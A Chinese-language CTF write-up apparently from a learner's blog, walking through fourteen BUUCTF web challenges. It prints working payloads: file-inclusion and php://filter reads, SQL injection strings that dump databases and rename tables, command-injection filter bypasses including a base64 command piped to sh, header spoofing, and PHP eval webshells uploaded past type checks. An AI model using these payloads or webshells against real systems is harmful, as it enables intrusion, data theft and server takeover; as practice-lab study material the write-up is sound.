BUUCTF WEB题目刷题记(1)
- 1. [HCTF 2018]WarmUp(php代码审计)
- 2. [极客大挑战 2019]EasySQL1(万能密码)
- 3. [极客大挑战 2019]Havefun1(参数传递)
- 4. [ACTF2020 新生赛]Include1(PHP协议流)
- 5. [极客大挑战 2019]Secret File(抓包,PHP协议流)
- 6. [强网杯 2019]随便注1(堆叠注入+修改表绕过查找)
- 7. [SUCTF 2019]EasySQL1(堆叠注入+select 1 from+set sql_mode)
- 8. [ACTF2020 新生赛]Exec 1(命令注入)
- 9. [极客大挑战 2019]LoveSQL1(万能密码+联合注入)
- 10. [GXYCTF2019]Ping Ping Ping(命令注入+命令替代)
- 11. [极客大挑战 2019]Knife 1
- 12. [极客大挑战 2019]Http1
- 13. [极客大挑战 2019]Upload 1(文件上传)
- 14. [ACTF2020 新生赛]Upload
1. [HCTF 2018]WarmUp(php代码审计)
进去是这样的一张照片,f12,发现访问提示里面有一个php文件
作者好仁慈...直接注释出来了生怕我不知道,直接payload干他
http://d719f6cc-f97d-4adf-ac94-e0123b2bc126.node4.buuoj.cn:81/source.php
然后回显了这样的代码,我们审阅一波
<?php
highlight_file(__FILE__);//打印代码
class emmm
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;
}
//该代码表示截取$page中'?'前部分,若无则截取整个$page
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这里也给了个文件,直接访问一下hint.php看看有啥猫腻。。好吧,这里只给我们提示了flag所在的文件名,我们继续回头审计源码
先给出php中函数的几个解释:
mb_substr() 函数返回字符串的一部分。substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
mb_strpos 查找字符串在另一个字符串中首次出现的位置
in_array() 函数搜索数组中是否存在指定的值。
注释:如果 search 参数是字符串且 type 参数被设置为 TRUE,则搜索区分大小写。
urldecode():解码已编码的 URL 字符串
看看主函数是干啥的....
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
看样子就是要文件包含并满足这些条件:
1.值非空,2.值为字符串类型,3.通过checkfile函数检验
否则返回滑稽.jpg
那么前两点很好搞,主要是第三点,回去看函数...
第一个判断是对变量检验,要求\(page是字符串,然后如果\)page在白名单当中,就返回true,source.php和hint.php就满足这样条件。
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;
}
这些然并卵,主要继续看下面的。。。
这里就有东西可以研究了,这边有个\(_page变量,他截取了\)page变量当中的’?‘字符前面的内容,?被后部分被解析为get方式提交的参数,也不可利用....
//该代码表示截取$page中'?'前部分,若无则截取整个$page
$_page = mb_substr(
$page,
0,
mb_strpos($page , '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
好家伙还留了一手url解码,这边分析一下,主要就是把解码后的值赋给了$_page变量,那么我们输入的payload还需要url编码一下...
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
那我们先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?'
,仍可通过第四个if
语句校验。('?'
两次编码值为'%253f'
),构造url:
../ 是返回上一级目录,讲真,一开始看大佬wp的时候被这么多乱七八糟的符号吓到了,仔细研究也就是个纸老虎,这里不过是为了一直往上级找ffffllllaaaagggg所在的位置,最后证实作者放到了根目录下。
嘻嘻,第一个flag到手散花~
flag
ps:我觉得好奇怪,这道题明明感觉挺难的,还得会些php以及url编码,然后居然做出来的人最多,嗯?我就佛系点好了,未来是你们的。
2. [极客大挑战 2019]EasySQL1(万能密码)
万能密码注入,原理很简单:
sql语句中’#’代表注释,这位黑客判断用户用户名密码是否正确,估计是判断用户名以及密码是否是他的数据库当中的数据,数据是通过输入栏输入的。那么我们注入一个永真式,那不就可以直接登上去了吗?直接一手引号闭合加注释不多说了。
3. [极客大挑战 2019]Havefun1(参数传递)
这里是参数传递,他是检验cat参数的值是否为‘dog’,而cat的值是通过$_GET['cat']的参数赋值的,只要令cat的参数值为dog就可。
payload:
http://46fd109d-76c1-4c8e-a1c8-e24a9e02bb52.node4.buuoj.cn:81/?cat=dog
flag就出来辽~
4. [ACTF2020 新生赛]Include1(PHP协议流)
这道题是文件包含。
需要用到php://filter,这是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。比如,我们可以用如下一行代码将POST内容转换成base64编码并输出:
readfile("php://filter/read=convert.base64-encode/resource=php://input");
这题构造payload
http://2606687f-1121-4996-9328-1f31d1baeb7d.node4.buuoj.cn:81/?file=php://filter/read=convert.base64-encode | string.toupper/resource=./flag.php
得到一个base64码,用cyber解码以后得到
<?php
echo "Can you find out the flag?";
//flag{8c42f3a5-a1bf-4476-8713-497bad08b756}
flag出来了。(他还注释掉了,所以一开始的时候没有回显出来...)
这个filter协议不止一题出现了,分析一下...
1是格式;
2是参数,有read和write,表示读和写;
3是过滤器,主要有几种:
字符串过滤器、转换过滤器、压缩过滤器、加密过滤器
他中间可以用管道符|隔开,使用多个过滤器
这里就是将文件flag.php代码转化(covert)为base64编码(base64)
4就是参数,这里是文件名
(2参数如果不写的话,系统会自动匹配)
那么我再payload改一下,本来是经过加密过滤器的,加上管道符连接,我又加上了一个字符串过滤器
出来的就都是大写且base64的码啦!
另外,php://filter 还可以绕过,避免一些我们不希望的语句执行,比如“死亡exit”,有兴趣的师傅可以自行搜索。
ps:重要语句再记录一下防止遗忘
/?file=php://filter/read=convert.base64-encode | string.toupper/resource=./flag.php
5. [极客大挑战 2019]Secret File(抓包,PHP协议流)
按F12找到个文件
先bp抓个包看看
发现了一个secr3t.php
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
转化成base64
得到html文件
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{027a347c-b907-4825-9f8c-5b3f472b35cc}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
flag出来了,然后他的小秘密也被我知道了嘿嘿。
6. [强网杯 2019]随便注1(堆叠注入+修改表绕过查找)
看题目,这题就是SQL注入,随便注??作者是不是对自己太自信了?做过的师傅们应该知道,无非就是加了一层正则表达式过滤让一些师傅望而止步。
可以看到输入1是有回显的,inject=1是有效值
师傅们可以借此感受或者回顾一下闭合+注释的 SQL注入语句的恐怖之处。这是我们后续的铺垫。
直接万能密码来一手
1' or 1=1#
非常好,出来了一些数据。
有师傅问我说这怎么不出来flag呢,用万能密码没毛病哇??后面用了改名再用这个万能密码就出来flag了??是什么原理。
CTF的目标是为了找flag,这不同于前面做的easySQL1,那题的逻辑就是我所给的判断式要是为真,就表示说,输入的用户名与密码与我数据库吻合,那我给你flag我们后面考虑的东西就没了。但是这里运气不好,flag我不知道他藏在哪了,内部源码我也不知道,我不知道这些数据是出自哪个数据库,哪个表里的??我们用了万能密码回显的是在作者原SQL语句逻辑下回显的内容,目前也不知道是从哪个表出来的数据,但这句话证实了我们注释注入确实是有效的。
要获得flag,我们需要继续挖掘具体的表再做后续操作...emm有点像挖洞破密码的感觉,抽丝剥茧这样,最里面的就是flag?
那思路有了,我们看看他所在的表是怎么组成的。
1' order by 1;#
1' order by 2;#
1' order by 3;#
到3的时候,提示没有第三列,看来他所在的表有两列。
试试联合查询能不能出来东西(目的是为了合并SQL语句,这边与堆叠注入区别的话这里用到的范围比较有限)。
1' union select 1,2;#
OK,返回一个正则过滤式,我们平常用的增删改查他都过滤了。
想到堆叠注入。
用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
(原理就是根据SQL语句分号结束的特性,后面再跟一句SQL语句,达到两个语句都能执行的目的)
开始堆叠注入。
1';show databases;#
师傅们稍微注意一下,因为是堆叠注入,所以inject=1也会执行。这个横线上面的就是inject=1回显的数据,师傅如果单独输一个1就是回显这个的。横线下面即所有的数据库。
information_schema是元数据库
performance_schema是存储引擎
我们把范围缩小到了剩下三个数据库中,不过这个好像...用不到?
1' ;show tables;#
好,这个数据很关键。这个数据库中有两个表格,一个表名是16个数字,另一个表名是5个字符words。
看一下每个表格。
1' ; show columns from words;#
还有一个表,咱们继续看看。
1' ; show columns from 1919810931114514;#
没出来?哪里有问题呢?
听了师傅说,表名对以数字为表名的表进行操作时,需要加上`符号,身为还没学到数据库的我表示学到了
1' ; show columns from `1919810931114514`;#
哈哈,出来了flag,离成功一步之遥。
好,分析一波,这里关键字段名称有:id,data(出自表words)以及flag(出自一堆数字的表),根据这些线索,再加上前面有了一个两列的结论..可以有底气推断出
我们这个输入的内容就是从words的表里判断的。
大概作者就是像这样子的...这里id就是我们url上inject的值,返回了两个值。斯....后面应该是data的字符类型,注入的时候发现有引号闭合的情况,咱输入个1,出来了大概这样字的....id=hahaha,data=’1‘。原谅我小题大做了...
select data, id from words where data = ‘ ?’
emmm.....前面都是本菜鸡做题心得,写的比较流水??估计师傅们能不能做出这题关键就在这,过滤还是需要师傅们面对的事情,问题还在select过滤这里。。
关键的思路来了!
我们另辟蹊径,其实还有alert和rename关键字。这是解此题的关键。
我们前面的源码大概分析出来了。。
select data, id from words where data = ‘ ?’
既然可以改名,直接盘他
1.原本的words表对我没价值了,随便改一个abc123就行了
2.把一堆数字的表名改成words
3.把flag的字段改成data(woc,真的阴间)
4.新插入一列id
把他们翻译成SQL语言,结合前面的堆叠注入,payload出来了!!!
1';
rename table words to abc123;
rename table `1919810931114514` to words;
alter table words add id int ;
alter table words change flag data varchar(100);#
好,还没出来,别激动,咱们只是改名字,现在我们直接万能密码重新来一遍(不懂为什么前面万能密码没出来的师傅可以再看看我分析出来的源码对照一下回显的内容是什么!)。
1' or 1=1#
flag出来咯~~
ps:改名和插入新字段的操作我还不熟悉,本菜鸟还得再记一记....
rename table words to abc123;
rename table `1919810931114514` to words;
alter table words add id int ;
alter table words change flag data varchar(100);
7. [SUCTF 2019]EasySQL1(堆叠注入+select 1 from+set sql_mode)
趁热打铁,再来一个SQL注入类型的题目。
我们用堆叠注入是可以盘他的。这里回显出来一个Flag的表。
试试能不能直接看里面的数据。
1;show columns from Flag;#
很遗憾,这边回显出来NoNoNo,看来作者做了相关的过滤。
后面ctrl+u分析html源码得到(他们说是源码泄露,但是我确实没发现,不知道哪位师傅可以提示我一下)
这边使用post方法,大佬们是真的强,根据输入inject=1,2,3得到的值一样判断出这样的代码。
select $_GET['query'] || flag from flag
这里的‘||’在mysql语句中是或的意思,如果前面为真,那么后面不管真不真就忽略后面的语句。
这边大佬们居然直接迎面而上,直接给出payload
*,1
如果解释一下就是
-
sql=select.post['query'] || flag from flag;
-
当post['query']为*,1时,sql = select * ,1 || flag from flag;
-
因为||前面是1,后面的条件不管,即执行 select *,1 from flag;
array[0]就是flag,后面是我们的临时列1||flag的值。
稍微分析一下:select * from flag不多说,主要是select 1 from flag
我们平常使用select 1 from flag 是用来查找记录有多少行,因为1占用空间小的缘故所以效率高。
实际运行的时候他增加了一个列,列名为1,后续那一列的值也为1
但是作者的本意是让我们把||由原来的或运算符变成拼接符。
在Oracle中支持缺省,用||来拼接字符串。
mysql不支持缺省,使用sql_mode=pipes_as_concat;
字面意思很好理解,就是使用管道符变拼接模式。
结合堆叠注入的思想,payload也出来了
1;set sql_mode=PIPES_AS_CONCAT;select 1
根据1||flag,将‘||’管道符变成拼接符后,出来的就是1加上flag数据表的值,也就是1flag{...}的值
需要注意的是,这两个都是临时列,最后附带我实验的一些sql语句代码。
8. [ACTF2020 新生赛]Exec 1(命令注入)
有点类似堆叠注入思想了,我们后面跟上ls直接出来了index.php
直接返回上级目录找flag就ws。
cat flag
9. [极客大挑战 2019]LoveSQL1(万能密码+联合注入)
观察源码发现是用GET方法传参的,在师傅的提醒下知道了get方法传参是要经过url解码。
然后这道题主要用到的url解码是 %23 --> # 。
观察到输入引号后报错,说明存在SQL注入。
使用万能密码
出来了一个用户名admin以及密码48afa2a82a44046c86d110d497e632fb,这也进一步说明在引号闭合与注释中间可以夹杂一些阴间语句来爆数据。
接下来按照基本思路,先用order by看看有几个字段。
看样子到order by 4报错了,那就是有三个字段。
试下联合注入。咱测试注入点,观察回显,看来回显点位在2和3.看样子联合注入是可行的,我们把步骤进行下去。
利用回显点位我们爆一下数据库,得到数据库名称是geek
接下来爆表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
出来了两个表geekuser 和 l0ve1ysq1
根据题目,应该在 l0ve1ysq1表中,接下来爆列
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
得到三个字段
有了前面表和字段的铺垫,我们就直接爆数据,最后的payload出来了
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{3e48c3a9-7223-41aa-9831-d00e6c6b7545}
那么flag也就出来了。
flag
ps:这题做完以后,发现如果存在sql注入漏洞,师傅们一般喜欢先判断是否存在SQL注入,如果有的话试试万能密码,引号闭合或是#注释之类的,然后用order by看表的字段,然后甄别用联合注入啊,还是堆叠注入,或者甚至改名绕过,还有||管道符转义,这些阴间的手段相信通过经验积累应该在初学阶段会更加准确判断 用哪种以及怎么用。
这边观察到师傅们用联合注入的目的之一是观察回显点位,然后师傅们用回显点位分别爆数据库,爆表,最后爆值。
一些比较重要的SQL语句稍微记录一下以备后续遗忘。
爆数据库,一个数据库的话直接相等
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
多个数据库选择一个
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DATABASE'#
假设有三个表AAA,BBB,CCC,我们要爆AAA的列
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='AAA' #
比如爆出来三个列 id,username,password,爆表的所有数据
1' union select 1,2,group_concat(id,username,password) from AAA%23&password=1
师傅们也提到了一下可以加ASCII码方便输出以后区别
1' union select 1,2,group_concat(username,0x40,password) from AAA%23&password=1
10. [GXYCTF2019]Ping Ping Ping(命令注入+命令替代)
发现存在命令注入漏洞
尝试回显flag.php的内容
看来空格被过滤了,既然用到了相关知识,这里就稍微整理一下绕过空格的知识点
绕过空格
${IFS}
$IFS$9
$IFS$1
他在linux中表示分隔符,稍微说明一下:
1.这里加{}的目的是固定变量名,我们这边如果单纯用cat\(IFSflag,此时bash解释器会把IFSflag当作变量名,同理\)也起到截断作用。
2.之所以用$9,是因为$9表示当前系统shell进程中的第九个参数持有者,始终为空字符串。$1同理
>
<>
{cat,flag}
%20(space),%09(tab)
php命令环境下,可以用%09替换空格
不过这题也把这些给ban掉了,这里给一些绕过办法。
$PS2替代>
$PS4替代+
后续还有相关命令分隔符、命令终止符、黑名单绕过、文件名绕过、命令执行绕过、限制字数命令绕过、PHP绕过等等,后续学习也可以围绕这些展开,不过,我还需要研究一番这位大佬的博客、还有这位大佬。
那我们尝试使用替换空格来获取信息。
payload如下
?ip=127.0.0.1;cat$IFS$9flag.php
这里确实说明了空格已经绕过了,但,flag被他过滤了!!没办法,还有另外一个救命稻草index.php
?ip=127.0.0.1;cat$IFS$9index.php
可算出来了一个像样的代码文件。
PING 127.0.0.1 (127.0.0.1): 56 data bytes
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
这里看到了他的过滤规则。他这里判断flag的方法是在任意一个字符串中从左到右能找到字符串’flag‘就报错fxck your flag!,大佬们都管这叫做flag的贪婪匹配。
考虑到$没有被过滤,我们构造payload
/?ip=127.0.0.1;b=g;cat$IFS\(9fla\)b.php
大佬们也给我提供了两种思路。。
1.用sh方法
echo$IFS\(1Y2F0IGZsYWcucGhw|base64\)IFS$9-d|sh
这里用到了base64加密。将cat flag.php
进行Base64编码,得到:Y2F0IGZsYWcucGhw
注
:
base64 -d
用来解码base64sh
是linux中运行shell的命令,是shell的解释器,shell脚本是linux中壳层与命令行界面,用户可以在shell脚本输入命令来执行各种各样的任务。
2.使用内联执行
/?ip=127.0.0.1;cat$IFS$9`ls`
``替代|,将反引号内命令输出作为输入执行。
(命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项)
命令
和$(命令)都是执行命令的方式
最后我们查看网页源码即可得到flag
11. [极客大挑战 2019]Knife 1
这是白给的shell,Knife,shell,都提示到这份上了,直接用中国蚁剑,密码也告诉我了,这道题是让我们安装使用蚁剑的。
我们输入对应url和密码(已经告诉我们了)
根目录下找到flag
12. [极客大挑战 2019]Http1
源码发现有文件,进入后提示
这边提示了不是从这个网站过来的,这挂钩到报文header中的Referer。
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。Referer 常用在防盗链和防恶意请求中。传输referer需要在页面内添加相关的代码。
那我们bp抓包修改header即可解出此题。
我们在请求包里加上这个
Referer : https://Sycsecret.buuoj.cn
回显了此内容。
他对浏览器有要求
我们修改User-Agent:Syclover
此参数是用来传输用户使用的是什么样的浏览器。有些网站为了防止爬虫,会检验User-Agent,只有当是用户访问的时候才会传输数据。
他只允许本机访问。。那我们添加X-Forwarded-For,伪造原始访问ip是127.0.0.1
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
当今多数缓存服务器的用户为大型ISP,为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。
有些情况下,这些代理服务器是透明代理,用户甚至不知道自己正在使用代理上网。
如果没有XFF或者另外一种相似的技术,所有通过代理服务器的连接只会显示代理服务器的IP地址,而非连接发起的原始IP地址,
这样的代理服务器实际上充当了匿名服务提供者的角色,如果连接的原始IP地址不可得,恶意访问的检测与预防的难度将大大增加。
如果你使用透明代理上网,那么在透明代理发送给服务器端的HTTP请求中会包含x-forward-for信息
简单来说就是用来传输最原始ip地址的,阻止匿名请求的,但是可以通过抓包来修改。
GET /Secret.php HTTP/1.1
Host: node4.buuoj.cn:29079
Referer:https://Sycsecret.buuoj.cn
User-Agent: Syclover
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For:127.0.0.1
Cookie: UM_distinctid=17e42acebad28-0244d1cca0affb8-4c3e207f-e1000-17e42acebaecf
Upgrade-Insecure-Requests: 1
终于出来了
flag
拓展:
ip伪造的方法:
Client-Ip: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Host: 127.0.0.1
Referer: www.google.com
13. [极客大挑战 2019]Upload 1(文件上传)
这是一道文件上传的题目。首先尝试一句话木马。
<?php eval($_POST['aaa']); >
看来后端在检测我们文件类型了。尝试抓包看看有没有什么东西。
发现:Content-Type
此处他是判定了一个.exe文件类型,那么我们修改其为图片类型,即
Content-Type: image/jpeg
他对php进行了判定,那么我们尝试绕过后缀。
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
这里尝试使用phtml可以成功。
然后我们同样用之前的bp抓包办法绕过图片检测。
回显了一个内容。
看样子不能包含'<?',正常的php写法就行不通了,奈何对php学习比较浅,我也摆烂了,直接看大佬的代码。果然绝,学的多就是不一样。大佬们似乎达成通识都是用这个。
GIF89a? <script language='php'> eval($_POST['aaa']); </script>
这边复盘一下,主要用到两个技术:1.尝试GIF89a图片头文件欺骗 2.php文件的4种标记
- <script language='php'></script>
- <% %>
第一种和第三种比较常用,其他写法也需要条件,见此处
那这边完全可以用第三种绕过。他只判断里面有没有‘<?’
可算是上传了。。
我们去看一看
http://fd1b3820-1260-47ca-8b50-4107f640f46c.node4.buuoj.cn:81/upload/
/upload 一般都是我们上传的文件路径。
找到我们的文件
不出意外脚本应该已经成功运行了。用antSword尝试链接。
14. [ACTF2020 新生赛]Upload
同样把一句话木马放上去,他一定要图片格式结尾...
我们来抓一下包,值得注意的是,这里用了GIF89a?伪造,他这里应该还要判断文件头的。后面一行补上木马
既然他是前端判断我文件后缀,尝试修改后端文件后缀
Content-Disposition: form-data; name="upload_file"; filename="21.phtml"
好家伙,直接出来了
嗯?这就成功植入了?我们用之前同样的antSword试试看能不能连上。
出来了,根目录里找到了flag。
附录表格
1. 文件上传
1.Content-Type
借用此作者的表格对照着每一个待识别的文件类型
HTTP协议规定了上传资源的时候在Header中加上一项文件的MIMETYPE,来识别文件类型,这个动作是由浏览器完成的,服务端可以检查此类型不过这仍然是不安全的,因为HTTP header可以被发出者或者中间人任意的修改。
文件后缀 | Mime类型 | 说明 |
---|---|---|
.flv | flv/flv-flash | 在线播放 |
.html或.htm | text/html | 超文本标记语言文本 |
.rtf | application/rtf | RTF文本 |
.gif 或.png | image/gif(image/png) | GIF图形/PNG图片 |
.jpeg或.jpg | image/jpeg | JPEG图形 |
.au | audio/basic | au声音文件 |
.mid或.midi | audio/midi或audio/x-midi | MIDI音乐文件 |
.ra或.ram或.rm | audio/x-pn-realaudio | RealAudio音乐文件 |
.mpg或.mpeg或.mp3 | video/mpeg | MPEG文件 |
.avi | video/x-msvideo | AVI文件 |
.gz | application/x-gzip | GZIP文件 |
.tar | application/x-tar | TAR文件 |
.exe | application/octet-stream | 下载文件类型 |
.rmvb | video/vnd.rn-realvideo | 在线播放 |
.txt | text/plain | 普通文本 |
.mrp | application/octet-stream | MRP文件(国内普遍的手机) |
.ipa | application/iphone-package-archive | IPA文件(IPHONE) |
.deb | application/x-debian-package-archive | DED文件(IPHONE) |
.apk | application/vnd.android.package-archive | APK文件(安卓系统) |
.cab | application/vnd.cab-com-archive | CAB文件(Windows Mobile) |
.xap | application/x-silverlight-app | XAP文件(Windows Phone 7) |
.sis | application/vnd.symbian.install-archive | SIS文件(symbian平台) |
.jar | application/java-archive | JAR文件(JAVA平台手机通用格式) |
.jad | text/vnd.sun.j2me.app-descriptor | JAD文件(JAVA平台手机通用格式) |
.sisx | application/vnd.symbian.epoc/x-sisx-app | SISX文件(symbian平台) |
2. 文件头检查文件
格式 | 文件头 |
---|---|
TIFF (tif) | 49492A00 |
Windows Bitmap (bmp) | 424D |
CAD (dwg) | 41433130 |
Adobe Photoshop (psd) | 38425053 |
JPEG (jpg) | FFD8FF |
PNG (png) | 89504E47 |
GIF (gif) | 47494638 |
XML (xml) | 3C3F786D6C |
HTML (html) | 68746D6C3E |
MS Word/Excel (xls.or.doc) | D0CF11E0 |
MS Access (mdb) | 5374616E64617264204A |
ZIP Archive (zip), | 504B0304 |
RAR Archive (rar), | 52617221 |
Wave (wav), | 57415645 |
AVI (avi), | 41564920 |
Adobe Acrobat (pdf), | 255044462D312E |